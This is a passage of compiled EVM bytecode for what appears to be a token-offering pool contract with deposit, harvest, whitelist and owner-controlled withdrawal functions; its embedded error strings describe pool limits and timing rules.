0x60806040526004361061016a5760003560e01c806376920d08116100d1578063afd190cf1161008a578063b781360711610064578063b7813607146104f3578063ca463ca41461051e578063f2fde38b1461055b578063f9cd5c12146105845761016b565b8063afd190cf14610474578063b31d61b01461049f578063b42392f1146104c85761016b565b806376920d081461037a57806379c3bb3e146103a35780637f1bdd76146103ba5780638da5cb5b146103e35780639513997f1461040e5780639a65ab57146104375761016b565b806346ab91bf1161012357806346ab91bf1461027957806348cd4cb1146102b95780635fcbd285146102e457806366f56d9c1461030f578063715018a61461033a57806376742903146103515761016b565b8063052871061461016d578063083c6323146101aa5780632374876c146101d5578063268bc649146101fe5780632937049e146102275780633f138d4b146102505761016b565b5b005b34801561017957600080fd5b50610194600480360381019061018f919061337a565b6105c1565b6040516101a19190613fb5565b60405180910390f35b3480156101b657600080fd5b506101bf610709565b6040516101cc9190614338565b60405180910390f35b3480156101e157600080fd5b506101fc60048036038101906101f791906135f8565b61070f565b005b34801561020a57600080fd5b506102256004803603810190610220919061340e565b610b91565b005b34801561023357600080fd5b5061024e6004803603810190610249919061350a565b610cd7565b005b34801561025c57600080fd5b50610277600480360381019061027291906133d2565b6110be565b005b34801561028557600080fd5b506102a0600480360381019061029b919061347c565b6112c4565b6040516102b094939291906143b3565b60405180910390f35b3480156102c557600080fd5b506102ce6113e1565b6040516102db9190614338565b60405180910390f35b3480156102f057600080fd5b506102f96113e7565b6040516103069190613ff2565b60405180910390f35b34801561031b57600080fd5b5061032461140d565b6040516103319190613fd7565b60405180910390f35b34801561034657600080fd5b5061034f611420565b005b34801561035d57600080fd5b506103786004803603810190610373919061347c565b61155a565b005b34801561038657600080fd5b506103a1600480360381019061039c9190613559565b611625565b005b3480156103af57600080fd5b506103b86119bb565b005b3480156103c657600080fd5b506103e160048036038101906103dc91906135bc565b611af1565b005b3480156103ef57600080fd5b506103f8611f2b565b6040516104059190613f18565b60405180910390f35b34801561041a57600080fd5b50610435600480360381019061043091906134ce565b611f54565b005b34801561044357600080fd5b5061045e60048036038101906104599190613351565b61215b565b60405161046b919061443d565b60405180910390f35b34801561048057600080fd5b5061048961217b565b6040516104969190614338565b60405180910390f35b3480156104ab57600080fd5b506104c660048036038101906104c1919061340e565b612181565b005b3480156104d457600080fd5b506104dd6122c6565b6040516104ea919061443d565b60405180910390f35b3480156104ff57600080fd5b506105086122cb565b6040516105159190613ff2565b60405180910390f35b34801561052a57600080fd5b506105456004803603810190610540919061337a565b6122f1565b6040516105529190613f93565b60405180910390f35b34801561056757600080fd5b50610582600480360381019061057d9190613351565b612505565b005b34801561059057600080fd5b506105ab60048036038101906105a6919061337a565b6126ae565b6040516105b89190613fb5565b60405180910390f35b606060008383905067ffffffffffffffff811115610608577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106365781602001602082028036833780820191505090505b50905060005b600360ff168160ff1610156106fd57601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008260ff1660ff16815260200190815260200160002054828260ff16815181106106de577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080806106f590614745565b91505061063c565b50809150509392505050565b60065481565b60045460065461071f9190614529565b4311610760576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610757906140f8565b60405180910390fd5b600360ff168160ff16106107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a090614058565b60405180910390fd5b6000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360ff1660ff1681526020019081526020016000205411610842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990614138565b60405180910390fd5b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16141580156108b4575060011515600260009054906101000a900460ff161515145b15610a18576000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360ff1660ff1681526020019081526020016000205490506000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008460ff1660ff168152602001908152602001600020819055506109bd3382600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166127f89092919063ffffffff16565b8160ff163373ffffffffffffffffffffffffffffffffffffffff167f51524c2e5edfedf8b01b29719c661e4fbe27e71734e7cd773dabb7cb712fb3b3600084604051610a0a92919061400d565b60405180910390a350610b8e565b600080610a25338461287e565b80925081935050506000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008560ff1660ff168152602001908152602001600020819055506000821115610ae057610adf3383600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166127f89092919063ffffffff16565b5b6000811115610b3757610b363382600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166127f89092919063ffffffff16565b5b8260ff163373ffffffffffffffffffffffffffffffffffffffff167f51524c2e5edfedf8b01b29719c661e4fbe27e71734e7cd773dabb7cb712fb3b38484604051610b83929190614353565b60405180910390a350505b50565b610b99612e1e565b73ffffffffffffffffffffffffffffffffffffffff16610bb7611f2b565b73ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490614258565b60405180910390fd5b60005b82829050811015610cd257600260016000858585818110610c5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610c6f9190613351565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555080610ccb906146fc565b9050610c10565b505050565b610cdf612e1e565b73ffffffffffffffffffffffffffffffffffffffff16610cfd611f2b565b73ffffffffffffffffffffffffffffffffffffffff1614610d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4a90614258565b60405180910390fd5b62015f90600654610d649190614529565b4311610da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9c906140d8565b60405180910390fd5b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e009190613f18565b60206040518083038186803b158015610e1857600080fd5b505afa158015610e2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5091906134a5565b831115610e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e89906141b8565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610eed9190613f18565b60206040518083038186803b158015610f0557600080fd5b505afa158015610f19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3d91906134a5565b821115610f7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f76906142b8565b60405180910390fd5b6000831115610fd657610fd53384600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166127f89092919063ffffffff16565b5b600082111561102d5761102c3383600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166127f89092919063ffffffff16565b5b600081111561107e573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561107c573d6000803e3d6000fd5b505b7f5cba002c3841a6704789c1f41f4dab171dc5a8c972c928498c961665cdecf41b8383836040516110b19392919061437c565b60405180910390a1505050565b6110c6612e1e565b73ffffffffffffffffffffffffffffffffffffffff166110e4611f2b565b73ffffffffffffffffffffffffffffffffffffffff161461113a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113190614258565b60405180910390fd5b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c290614098565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125390614118565b60405180910390fd5b61128733828473ffffffffffffffffffffffffffffffffffffffff166127f89092919063ffffffff16565b7f74545154aac348a3eac92596bd1971957ca94795f4e954ec5f613b55fab7812982826040516112b8929190613f6a565b60405180910390a15050565b60008060008060078560038110611304577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600402016000015460078660038110611346577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600402016001015460078760038110611388577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160020154600788600381106113ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600402016003015493509350935093509193509193565b60055481565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900460ff1681565b611428612e1e565b73ffffffffffffffffffffffffffffffffffffffff16611446611f2b565b73ffffffffffffffffffffffffffffffffffffffff161461149c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149390614258565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611562612e1e565b73ffffffffffffffffffffffffffffffffffffffff16611580611f2b565b73ffffffffffffffffffffffffffffffffffffffff16146115d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cd90614258565b60405180910390fd5b62015f90811061161b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611612906141d8565b60405180910390fd5b8060048190555050565b61162d612e1e565b73ffffffffffffffffffffffffffffffffffffffff1661164b611f2b565b73ffffffffffffffffffffffffffffffffffffffff16146116a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169890614258565b60405180910390fd5b62015f906006546116b29190614529565b43116116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea906140d8565b60405180910390fd5b600360ff168160ff161061173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390614158565b60405180910390fd5b8360078260ff166003811061177a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600001819055508260078260ff16600381106117c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600101819055508160078260ff166003811061180c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600201819055506000805b600360ff168110156118895760078160038110611861577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160000154826118749190614529565b91508080611881906146fc565b91505061181b565b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016118e59190613f18565b60206040518083038186803b1580156118fd57600080fd5b505afa158015611911573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061193591906134a5565b811115611977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196e90614218565b60405180910390fd5b7f190432d32af946ccbf7a0128cdafcf06da4ef04cb0738b4a673ffdaf73473ca4858585856040516119ac94939291906143f8565b60405180910390a15050505050565b6119c3612e1e565b73ffffffffffffffffffffffffffffffffffffffff166119e1611f2b565b73ffffffffffffffffffffffffffffffffffffffff1614611a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2e90614258565b60405180910390fd5b60011515600260009054906101000a900460ff1615151415611aa3576000600260006101000a81548160ff021916908315150217905550600015157f1cf28b997975c7be355bcef74f2f5019aa48253bc1e54b3c8b002471865fdba860405160405180910390a2611aef565b6001600260006101000a81548160ff021916908315150217905550600115157f1cf28b997975c7be355bcef74f2f5019aa48253bc1e54b3c8b002471865fdba860405160405180910390a25b565b600360ff168160ff1610611b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3190614058565b60405180910390fd5b600060078260ff1660038110611b79577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600402016000015411611bc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb890614298565b60405180910390fd5b6005544311611c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfc90614278565b60405180910390fd5b6006544310611c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c40906141f8565b60405180910390fd5b60008211611c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8390614078565b60405180910390fd5b60008160ff161415611dbe5760078160ff1660038110611cd5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600101548260078360ff1660038110611d1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160030154611d2d9190614529565b611d3791906145b0565b60078260ff1660038110611d74577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600001541015611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db4906142d8565b60405180910390fd5b5b611e0d333084600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612e26909392919063ffffffff16565b81601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360ff1660ff1681526020019081526020016000206000828254611e739190614529565b925050819055508160078260ff1660038110611eb8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600402016003016000828254611ece9190614529565b925050819055508060ff163373ffffffffffffffffffffffffffffffffffffffff167ff763e680fce25a97ffd55d8b705370c98b47b2285f7b3b2900c43606fd41804584604051611f1f9190614338565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611f5c612e1e565b73ffffffffffffffffffffffffffffffffffffffff16611f7a611f2b565b73ffffffffffffffffffffffffffffffffffffffff1614611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc790614258565b60405180910390fd5b62015f90600654611fe19190614529565b4311612022576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612019906140d8565b60405180910390fd5b808210612064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205b90614178565b60405180910390fd5b8143106120a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209d90614238565b60405180910390fd5b60005b600360ff1681101561210f576000600782600381106120f1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600301819055508080612107906146fc565b9150506120a9565b5081600581905550806006819055507f7cd0ab87d19036f3dfadadb232c78aa4879dda3f0c994a9d637532410ee2ce06828260405161214f929190614353565b60405180910390a15050565b60016020528060005260406000206000915054906101000a900460ff1681565b60045481565b612189612e1e565b73ffffffffffffffffffffffffffffffffffffffff166121a7611f2b565b73ffffffffffffffffffffffffffffffffffffffff16146121fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f490614258565b60405180910390fd5b60005b828290508110156122c1576001806000858585818110612249577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061225e9190613351565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550806122ba906146fc565b9050612200565b505050565b600381565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060008383905067ffffffffffffffff811115612338577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561237157816020015b61235e613232565b8152602001906001900390816123565790505b50905060005b848490508160ff1610156124f9576000806000600788888660ff168181106123c8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906123dd91906135f8565b60ff1660038110612417577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600402016000015411156124885761247f8888888660ff16818110612465577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061247a91906135f8565b61287e565b80925081935050505b604051806040016040528083815260200182815250848460ff16815181106124d9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181905250505080806124f190614745565b915050612377565b50809150509392505050565b61250d612e1e565b73ffffffffffffffffffffffffffffffffffffffff1661252b611f2b565b73ffffffffffffffffffffffffffffffffffffffff1614612581576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257890614258565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156125f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e8906140b8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060008383905067ffffffffffffffff8111156126f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156127235781602001602082028036833780820191505090505b50905060005b848490508160ff1610156127ec576127918686868460ff16818110612777577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061278c91906135f8565b612eaf565b828260ff16815181106127cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080806127e490614745565b915050612729565b50809150509392505050565b6128798363a9059cbb60e01b8484604051602401612817929190613f6a565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612fc5565b505050565b6000806000601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008560ff1660ff1681526020019081526020016000205414156128ec5760008091509150612e17565b60008060008560ff1614156129ac576007600060038110612936577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160010154601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008060ff1681526020019081526020016000205461299c91906145b0565b9150816000935093505050612e17565b60006129b88787612eaf565b905060028660ff161415612a355764e8d4a51000816007600260038110612a08577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160000154612a1a91906145b0565b612a24919061457f565b925082600094509450505050612e17565b6007600160038110612a70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600001546007600160038110612ab3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600101546007600160038110612af6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160030154612b0891906145b0565b1115612b735764e8d4a51000816007600160038110612b50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160000154612b6291906145b0565b612b6c919061457f565b9250612c26565b6007600160038110612bae577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160010154601360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160ff16815260200190815260200160002054612c1591906145b0565b925082600094509450505050612e17565b6007600160038110612c61577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600001546007600160038110612ca4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600201546007600160038110612ce7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160030154612cf991906145b0565b11612d0d5782600094509450505050612e17565b60006007600160038110612d4a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600201546007600160038110612d8d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160000154612d9f919061457f565b6007600160038110612dda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6004020160030154612dec919061460a565b905064e8d4a510008183612e0091906145b0565b612e0a919061457f565b9250838395509550505050505b9250929050565b600033905090565b612ea9846323b872dd60e01b858585604051602401612e4793929190613f33565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612fc5565b50505050565b60008060078360ff1660038110612eef577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60040201600301541115612fba5760078260ff1660038110612f3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600402016003015464e8d4a51000601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008560ff1660ff16815260200190815260200160002054612fa991906145b0565b612fb3919061457f565b9050612fbf565b600090505b92915050565b6000613027826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661308c9092919063ffffffff16565b905060008151111561308757808060200190518101906130479190613453565b613086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161307d90614318565b60405180910390fd5b5b505050565b606061309b84846000856130a4565b90509392505050565b6060824710156130e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130e090614198565b60405180910390fd5b6130f2856131b8565b613131576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613128906142f8565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161315a9190613f01565b60006040518083038185875af1925050503d8060008114613197576040519150601f19603f3d011682016040523d82523d6000602084013e61319c565b606091505b50915091506131ac8282866131cb565b92505050949350505050565b600080823b905060008111915050919050565b606083156131db5782905061322b565b6000835111156131ee5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132229190614036565b60405180910390fd5b9392505050565b6040518060400160405280600290602082028036833780820191505090505090565b600081359050613263816147de565b92915050565b60008083601f84011261327b57600080fd5b8235905067ffffffffffffffff81111561329457600080fd5b6020830191508360208202830111156132ac57600080fd5b9250929050565b60008083601f8401126132c557600080fd5b8235905067ffffffffffffffff8111156132de57600080fd5b6020830191508360208202830111156132f657600080fd5b9250929050565b60008151905061330c816147f5565b92915050565b6000813590506133218161480c565b92915050565b6000815190506133368161480c565b92915050565b60008135905061334b81614823565b92915050565b60006020828403121561336357600080fd5b600061337184828501613254565b91505092915050565b60008060006040848603121561338f57600080fd5b600061339d86828701613254565b935050602084013567ffffffffffffffff8111156133ba57600080fd5b6133c6868287016132b3565b92509250509250925092565b600080604083850312156133e557600080fd5b60006133f385828601613254565b925050602061340485828601613312565b9150509250929050565b6000806020838503121561342157600080fd5b600083013567ffffffffffffffff81111561343b57600080fd5b61344785828601613269565b92509250509250929050565b60006020828403121561346557600080fd5b6000613473848285016132fd565b91505092915050565b60006020828403121561348e57600080fd5b600061349c84828501613312565b91505092915050565b6000602082840312156134b757600080fd5b60006134c584828501613327565b91505092915050565b600080604083850312156134e157600080fd5b60006134ef85828601613312565b925050602061350085828601613312565b9150509250929050565b60008060006060848603121561351f57600080fd5b600061352d86828701613312565b935050602061353e86828701613312565b925050604061354f86828701613312565b9150509250925092565b6000806000806080858703121561356f57600080fd5b600061357d87828801613312565b945050602061358e87828801613312565b935050604061359f87828801613312565b92505060606135b08782880161333c565b91505092959194509250565b600080604083850312156135cf57600080fd5b60006135dd85828601613312565b92505060206135ee8582860161333c565b9150509250929050565b60006020828403121561360a57600080fd5b60006136188482850161333c565b91505092915050565b600061362d83836136be565b60408301905092915050565b60006136458383613ed4565b60208301905092915050565b61365a8161463e565b82525050565b600061366b82614482565b61367581856144e0565b935061368083614458565b8060005b838110156136b15781516136988882613621565b97506136a3836144b9565b925050600181019050613684565b5085935050505092915050565b6136c78161448d565b6136d181846144f1565b92506136dc82614468565b8060005b8381101561370d5781516136f48782613639565b96506136ff836144c6565b9250506001810190506136e0565b505050505050565b600061372082614498565b61372a81856144fc565b935061373583614472565b8060005b8381101561376657815161374d8882613639565b9750613758836144d3565b925050600181019050613739565b5085935050505092915050565b61377c81614650565b82525050565b600061378d826144a3565b613797818561450d565b93506137a78185602086016146c9565b80840191505092915050565b6137bc81614693565b82525050565b6137cb816146b7565b82525050565b60006137dc826144ae565b6137e68185614518565b93506137f68185602086016146c9565b6137ff816147cd565b840191505092915050565b6000613817601183614518565b91507f4e6f6e2076616c696420706f6f6c2069640000000000000000000000000000006000830152602082019050919050565b6000613857601283614518565b91507f416d6f756e74206d757374206265203e203000000000000000000000000000006000830152602082019050919050565b6000613897601283614518565b91507f43616e6e6f74206265204c5020746f6b656e00000000000000000000000000006000830152602082019050919050565b60006138d7602683614518565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061393d602c83614518565b91507f41646d696e206d7573742077616974206265666f72652063616c6c696e67207460008301527f6869732066756e6374696f6e00000000000000000000000000000000000000006020830152604082019050919050565b60006139a3601483614518565b91507f546f6f206561726c7920746f20686172766573740000000000000000000000006000830152602082019050919050565b60006139e3601883614518565b91507f43616e6e6f74206265206f66666572696e6720746f6b656e00000000000000006000830152602082019050919050565b6000613a23601383614518565b91507f446964206e6f74207061727469636970617465000000000000000000000000006000830152602082019050919050565b6000613a63601383614518565b91507f506f6f6c20646f6573206e6f74206578697374000000000000000000000000006000830152602082019050919050565b6000613aa3602e83614518565b91507f4e6577207374617274426c6f636b206d757374206265206c6f7765722074686160008301527f6e206e657720656e64426c6f636b0000000000000000000000000000000000006020830152604082019050919050565b6000613b09602683614518565b91507f416464726573733a20696e73756666696369656e742062616c616e636520666f60008301527f722063616c6c00000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613b6f601483614518565b91507f4e6f7420656e6f756768204c5020746f6b656e730000000000000000000000006000830152602082019050919050565b6000613baf601983614518565b91507f6d61782064656c617920697320393030303020626c6f636b73000000000000006000830152602082019050919050565b6000613bef600883614518565b91507f546f6f206c6174650000000000000000000000000000000000000000000000006000830152602082019050919050565b6000613c2f601c83614518565b91507f63616e74206f66666572206d6f7265207468616e2062616c616e6365000000006000830152602082019050919050565b6000613c6f603083614518565b91507f4e6577207374617274426c6f636b206d7573742062652068696768657220746860008301527f616e2063757272656e7420626c6f636b000000000000000000000000000000006020830152604082019050919050565b6000613cd5602083614518565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613d15600983614518565b91507f546f6f206561726c7900000000000000000000000000000000000000000000006000830152602082019050919050565b6000613d55600c83614518565b91507f506f6f6c206e6f742073657400000000000000000000000000000000000000006000830152602082019050919050565b6000613d95601983614518565b91507f4e6f7420656e6f756768206f66666572696e6720746f6b656e000000000000006000830152602082019050919050565b6000613dd5602883614518565b91507f6e6f7420656e6f756768204f66666572696e6720546f6b656e73206c6566742060008301527f696e20506f6f6c310000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613e3b601d83614518565b91507f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006000830152602082019050919050565b6000613e7b602a83614518565b91507f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008301527f6f742073756363656564000000000000000000000000000000000000000000006020830152604082019050919050565b613edd8161467c565b82525050565b613eec8161467c565b82525050565b613efb81614686565b82525050565b6000613f0d8284613782565b915081905092915050565b6000602082019050613f2d6000830184613651565b92915050565b6000606082019050613f486000830186613651565b613f556020830185613651565b613f626040830184613ee3565b949350505050565b6000604082019050613f7f6000830185613651565b613f8c6020830184613ee3565b9392505050565b60006020820190508181036000830152613fad8184613660565b905092915050565b60006020820190508181036000830152613fcf8184613715565b905092915050565b6000602082019050613fec6000830184613773565b92915050565b600060208201905061400760008301846137b3565b92915050565b600060408201905061402260008301856137c2565b61402f6020830184613ee3565b9392505050565b6000602082019050818103600083015261405081846137d1565b905092915050565b600060208201905081810360008301526140718161380a565b9050919050565b600060208201905081810360008301526140918161384a565b9050919050565b600060208201905081810360008301526140b18161388a565b9050919050565b600060208201905081810360008301526140d1816138ca565b9050919050565b600060208201905081810360008301526140f181613930565b9050919050565b6000602082019050818103600083015261411181613996565b9050919050565b60006020820190508181036000830152614131816139d6565b9050919050565b6000602082019050818103600083015261415181613a16565b9050919050565b6000602082019050818103600083015261417181613a56565b9050919050565b6000602082019050818103600083015261419181613a96565b9050919050565b600060208201905081810360008301526141b181613afc565b9050919050565b600060208201905081810360008301526141d181613b62565b9050919050565b600060208201905081810360008301526141f181613ba2565b9050919050565b6000602082019050818103600083015261421181613be2565b9050919050565b6000602082019050818103600083015261423181613c22565b9050919050565b6000602082019050818103600083015261425181613c62565b9050919050565b6000602082019050818103600083015261427181613cc8565b9050919050565b6000602082019050818103600083015261429181613d08565b9050919050565b600060208201905081810360008301526142b181613d48565b9050919050565b600060208201905081810360008301526142d181613d88565b9050919050565b600060208201905081810360008301526142f181613dc8565b9050919050565b6000602082019050818103600083015261431181613e2e565b9050919050565b6000602082019050818103600083015261433181613e6e565b9050919050565b600060208201905061434d6000830184613ee3565b92915050565b60006040820190506143686000830185613ee3565b6143756020830184613ee3565b9392505050565b60006060820190506143916000830186613ee3565b61439e6020830185613ee3565b6143ab6040830184613ee35